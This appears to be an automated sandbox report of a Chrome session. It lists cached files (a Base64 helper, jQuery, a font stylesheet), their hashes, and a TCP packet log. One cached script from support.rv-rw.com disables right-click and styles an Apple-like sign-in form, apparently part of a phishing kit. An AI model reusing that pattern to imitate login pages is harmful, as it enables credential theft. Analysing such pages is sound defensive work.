Preview:	/*....* Base64 encode / decode..* http://www.webtoolkit.info/....*/....var Base64 = {.....// private property..._keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",.....// public method for encoding...encode : function (input) {....var output = "";....var chr1, chr2, chr3, enc1, enc2, enc3, enc4;....var i = 0;......input = Base64._utf8_encode(input);......while (i < input.length) {.......chr1 = input.charCodeAt(i++);.....chr2 = input.charCodeAt(i++);.....chr3 = input.charCodeAt(i++);.......enc1 = chr1 >> 2;.....enc2 = ((chr1 & 3) << 4) \| (chr2 >> 4);.....enc3 = ((chr2 & 15) << 2) \| (chr3 >> 6);.....enc4 = chr3 & 63;.......if (isNaN(chr2)) {......enc3 = enc4 = 64;.....} else if (isNaN(chr3)) {......enc4 = 64;.....}.......output = output +.....this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +.....this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);......}......return output;...},.....// public method for decoding...decode : function (input) {....va

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (700)
Category:	downloaded
Size (bytes):	11635
Entropy (8bit):	4.1111972773766405
Encrypted:	false
SSDEEP:	192:BEiYA68EiYKFZkc581cWJJT37IS3IQ3Al:BXYYXYKf6JJJw65w
MD5:	439E4CAB9246324ADD28B1FFCBAF4183
SHA1:	72A50EA229E8AA60EA6B9EE67F3303BCEC34EDC5
SHA-256:	F24A19E6A278F8060774960C4580AFD2B7654F4BD200237D689812D1153591D4
SHA-512:	95C11CB9BBF26F15B41BC660207403EBE0FF9BBFB3305F309B6075895A297C1021AC5E9E0BDB3BAC24B07C2C05D8D70F6FA0CB3CBBBBEC4176A29B861B0A82F4
Malicious:	false
Reputation:	low
URL:	https://support.rv-rw.com/aU3V88/jss/myscript_patron.js?v=2gdssf
Preview:	document.oncontextmenu = function(){return false;}. . $(document).ready(function(){. .. $("#btn_ip").css("top","5px");.. $("#cont_btn_apple").addClass("ap_bor");. $("#cont_btn_apple").addClass("bor");. . $("#cont_pwd").addClass('no_visibless');. $("#btn_ip").append('<img id="bt_flec2" class="icon icon_sign_in" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAABgklEQVR42r3WsU7CUBSA4QtGQVIHYayjEgYTdpd2EV4BnXkGnWHRAY1jCZsJYtzcSU0kGt7ASSkLTD4ALvgPh4Q00GtL6/B1uSfnpO0991x1fGLrFHGBPiaYiQn6slbU5QlatPCKMa5QwQEyMFBCVda+JNYKUygLBx7OsAWlkZZYDw6yukJ5vOMZe1AhGXiQHPl1hXIY4g5pqIhSuJVcuVWFOniUQLWhlOTq+AtZ8GBAxcSAB2u50ADnIRPVsa+JqWGwKFSGF+G/dPGBQ81u9FBWPBq4hopQaI7voP6R3A3Fw0U1aiHxg/qauFO8KDlKTCifJp4CjDH3aa1ocBMTJedWBspngHkE9748O5j9W6G4P91N0KdzUUl6M8S1vW3N9m4uGna0QcMeaRp2hPLyj68lewQlf6ja/jHRRi/GMdFDO+nB11o7+EQBww1HeVdyFHSXk1048FD749ulJdaDg1zY69ab77plYluYqMjap8TaQdctnRIu4WKKHzGFK2slXZ5f2RlINtkg1cIAAAAASUVORK5CYII=">');. . $("#sign-in").on("click",func

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	8479
Entropy (8bit):	5.267676982301893
Encrypted:	false
SSDEEP:	192:5+rBrUrzrMryr4r5rLrWrb4Zre1MrvprVr4rargrdrbrrnrQHrar2rLrFrs:5kB+P2AaZnc07B9aIClXrrQLI8nNs
MD5:	40DD3ED6442854F9D3C88E815E973CBC
SHA1:	5AB44172299C71F3BA00500BBC5FE54444E078FA
SHA-256:	E886A86CEAD4CF5038E4A382F801891DF37C975F922BC24E4C0720BCBE071764
SHA-512:	EE84A2E16F50F797B435ACB8E907A0C3E1E0B35AC88988597864AF14F36E0D55BD8C592664BA2CBD89D14DA536F1C26AC348123F3D66EE1EFE6D03B5FCC0A9DC
Malicious:	false
Reputation:	low
URL:	https://support.rv-rw.com/aU3V88/css/fonts2.css
Preview:	@font-face {....font-family:'Myriad Set Pro';....font-style:normal;....font-weight:100;....src:local('......'), url("myriad-set-pro_ultralight.woff") format("woff"), url("myriad-set-pro_ultralight.ttf") format("truetype");..../* Copyright (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. /...}......@font-face {....font-family:'Myriad Set Pro';....font-style:italic;....font-weight:100;....src:local('......'), url("myriad-set-pro_ultralight-italic.woff") format("woff"), url("myriad-set-pro_ultralight-italic.ttf") format("truetype");..../ Copyright (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. /...}......@font-face {....font-family:'Myriad Set Pro 100';....src:url("myriad-set-pro_ultralight.eot");..../ Copyright (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. */...}......@font-face {....

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	257551
Entropy (8bit):	5.076103298470518
Encrypted:	false
SSDEEP:	6144:yeLfh6nxcr8uVgTdp2YmD1BFEFy41vL/2VX82KLHIPf2hADD1+RH:yGxYmDTmFyHsDMPfOADD8RH
MD5:	888D4551B8DB7C41CDA28D95E494F998
SHA1:	26E6B63B81813D8AD942C90D369DF2673602B812
SHA-256:	893E90F6230962E42231635DF650F20544AD22AFFC3EE396DF768EAA6BC5A6A2
SHA-512:	38AB8BDA4A62F337DE5DCA925E719B2FAB4A73D2715A6A69258E263929F512C9E045BEDFC75379FBBC0E4C6AAED9B23938060BDCE83BFC17A0EC4B161B638128
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library v2.2.4. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright jQuery Foundation and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2016-05-20T17:23Z. */..(function( global, factory ) {...if ( typeof module === "object" && typeof module.exports === "object" ) {...// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factory( w );....};..}

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	257551
Entropy (8bit):	5.076103298470518
Encrypted:	false
SSDEEP:	6144:yeLfh6nxcr8uVgTdp2YmD1BFEFy41vL/2VX82KLHIPf2hADD1+RH:yGxYmDTmFyHsDMPfOADD8RH
MD5:	888D4551B8DB7C41CDA28D95E494F998
SHA1:	26E6B63B81813D8AD942C90D369DF2673602B812
SHA-256:	893E90F6230962E42231635DF650F20544AD22AFFC3EE396DF768EAA6BC5A6A2
SHA-512:	38AB8BDA4A62F337DE5DCA925E719B2FAB4A73D2715A6A69258E263929F512C9E045BEDFC75379FBBC0E4C6AAED9B23938060BDCE83BFC17A0EC4B161B638128
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-2.2.4.js
Preview:	/!. jQuery JavaScript Library v2.2.4. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright jQuery Foundation and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2016-05-20T17:23Z. */..(function( global, factory ) {...if ( typeof module === "object" && typeof module.exports === "object" ) {...// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factory( w );....};..}

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 01:38:52.105763912 CET	49675	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:38:52.105782032 CET	49674	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:38:52.215337038 CET	49673	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:00.948951960 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:00.948976040 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:00.949109077 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:00.951206923 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:00.951226950 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:01.614377975 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:01.624464035 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:01.624483109 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:01.626116037 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:01.626176119 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:01.633445024 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:01.633553982 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:01.683264017 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:01.683274984 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:01.714518070 CET	49674	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:01.714529037 CET	49675	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:01.730149031 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:01.823899031 CET	49673	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:03.466195107 CET	443	49703	23.1.237.91	192.168.2.5
Jan 13, 2025 01:39:03.466291904 CET	49703	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:04.661040068 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:04.661087036 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:04.661161900 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:04.661715031 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:04.661813974 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:04.661881924 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:04.662416935 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:04.662431955 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:04.662609100 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:04.662647009 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:11.515852928 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:11.515943050 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:11.516000032 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:11.529465914 CET	49711	443	192.168.2.5	216.58.206.36
Jan 13, 2025 01:39:11.529493093 CET	443	49711	216.58.206.36	192.168.2.5
Jan 13, 2025 01:39:13.582139969 CET	49703	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:13.582369089 CET	49703	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:13.582745075 CET	49735	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:13.582828999 CET	443	49735	23.1.237.91	192.168.2.5
Jan 13, 2025 01:39:13.582993031 CET	49735	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:13.584000111 CET	49735	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:13.584024906 CET	443	49735	23.1.237.91	192.168.2.5
Jan 13, 2025 01:39:13.587028980 CET	443	49703	23.1.237.91	192.168.2.5
Jan 13, 2025 01:39:13.587167025 CET	443	49703	23.1.237.91	192.168.2.5
Jan 13, 2025 01:39:14.181730032 CET	443	49735	23.1.237.91	192.168.2.5
Jan 13, 2025 01:39:14.181833029 CET	49735	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:15.226494074 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.226532936 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.226830006 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.226851940 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.226954937 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.227018118 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.228286028 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.228346109 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.228549004 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.228605032 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.233107090 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.233201981 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.233546972 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.233561039 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.234194994 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.234324932 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.278593063 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.278592110 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.278610945 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.326129913 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.620280027 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.620302916 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.620312929 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.620373011 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.620404005 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.638781071 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.639213085 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.639231920 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.639511108 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.640791893 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.640846968 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.640924931 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.641321898 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.641338110 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.641603947 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.641633987 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.642187119 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.642198086 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.642314911 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.642813921 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.642841101 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.642930031 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.642996073 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.643009901 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.643234968 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.643258095 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.648139954 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:15.648149967 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:15.648248911 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:15.648684978 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:15.648696899 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:15.665858030 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.683320999 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.743834972 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.743846893 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.743944883 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.743962049 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.744259119 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.744277000 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.744313955 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.744323015 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.745170116 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.745201111 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.745225906 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.745234966 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.745259047 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.745994091 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.746047020 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.746053934 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.789413929 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.861294985 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.861305952 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.861351967 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.861397028 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.861404896 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.861439943 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.861457109 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.861747026 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.861754894 CET	443	49715	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.861766100 CET	49715	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.866309881 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.866359949 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.866424084 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.867006063 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.867017031 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.903481007 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.903516054 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.903525114 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.903557062 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.903613091 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.903613091 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.903634071 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.920619011 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:15.920698881 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.921127081 CET	49714	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:15.921143055 CET	443	49714	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:16.106703043 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.106959105 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.106966972 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.108377934 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.108891010 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.110181093 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.110272884 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.110491037 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.110501051 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.154160023 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.206770897 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.222167969 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.222181082 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.222198963 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.222234964 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.222254992 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.222294092 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.222342968 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.294714928 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.294745922 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.294795990 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.294816017 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.294845104 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.294879913 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.296550989 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.296575069 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.296605110 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.296612978 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.296658993 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.380429983 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.380492926 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.380507946 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.380530119 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.380553007 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.380574942 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.382232904 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.382280111 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.382320881 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.382327080 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.382376909 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.383198977 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.383244038 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.383275986 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.383280993 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.383307934 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.383335114 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.384932041 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.384973049 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.385021925 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.385027885 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.385062933 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.385082960 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.467629910 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.467689991 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.467727900 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.467749119 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.467773914 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.467813015 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.468872070 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.468914986 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.468962908 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.468967915 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.468998909 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.469019890 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.469959021 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.469999075 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.470031023 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.470036030 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.470058918 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.470082045 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.471690893 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.471735001 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.471765995 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.471771002 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.471817970 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.472776890 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.472820044 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.472843885 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.472850084 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.472882986 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.472894907 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.474306107 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.474348068 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.474378109 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.474381924 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.474420071 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.474428892 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.530236959 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.530297995 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.530365944 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.530380011 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.530424118 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.530445099 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.553960085 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.554009914 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.554054976 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.554065943 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.554122925 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.554414988 CET	443	49753	151.101.194.137	192.168.2.5
